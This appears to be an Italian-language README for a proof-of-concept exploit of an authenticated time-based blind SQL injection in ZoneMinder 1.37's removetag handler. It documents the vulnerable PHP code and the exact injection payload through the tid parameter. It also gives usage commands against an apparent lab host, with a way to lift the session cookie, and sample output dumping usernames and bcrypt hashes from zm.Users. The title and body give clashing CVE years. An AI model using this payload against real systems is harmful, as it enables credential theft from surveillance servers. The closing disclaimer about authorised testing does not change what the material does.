
CVE-2025-51482 POC, Estrai le credenziali da zm.Users
Un exploit proof-of-concept per CVE-2024-51482, una vulnerabilità di iniezione SQL cieca basata sul tempo e autenticata in ZoneMinder v1.37. ≤ 1.37.64*.
Lo script estrae nomi utente e hash delle password dalla tabella zm.Users utilizzando una ricerca binaria (bisezione) su un oracolo basato su SLEEP().
Il gestore removetag in web/ajax/event.php parametrizza in modo sicuro una query DELETE ma poi interpola direttamente l'input controllato dall'utente in un successivo SELECT:
// Sicuro — parametrizzato
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerabile — interpolazione di stringhe
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId proviene direttamente da $_REQUEST['tid'] senza sanificazione, consentendo l'iniezione tramite il parametro tid.
requests (pip install requests)ZMSESSID valido da un account ZoneMinder connessopython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Argomenti:
--url — URL base di ZoneMinder (es. http://cctv.htb/zm) (obbligatorio)--zmsessid — valore del cookie ZMSESSID (obbligatorio)--sleep — secondi di pausa per l'inferenza basata sul tempo (default: 3)--timeout — timeout della richiesta in secondi (default: sleep + 3)Esempi:
# Base
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Più veloce su reti a bassa latenza
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Timeout personalizzato
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Accedi a ZoneMinder, apri gli strumenti di sviluppo del browser (F12) -> Applicazione -> Cookie, e copia il valore di ZMSESSID. In alternativa, intercetta qualsiasi richiesta autenticata in Burp Suite e prendilo dall'intestazione Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 per misurare il tempo di risposta normale.SLEEP(2) e verifica che la risposta sia ritardata di ≥2 secondi.COUNT(*) in zm.Users per trovare quanti account esistono.Username che in Password (~7 richieste per carattere contro 95 per scansione lineare).Struttura del payload:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 è richiesto perché il DELETE sicuro prima del SELECT vulnerabile genererebbe un errore 500 senza di esso, interrompendo l'esecuzione prima che l'iniezione venga raggiunta.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e ricerca educativa.
Ottieni sempre un'autorizzazione scritta esplicita prima di testare qualsiasi sistema che non possiedi.
L'autore non si assume alcuna responsabilità per uso improprio o danni causati da questo software.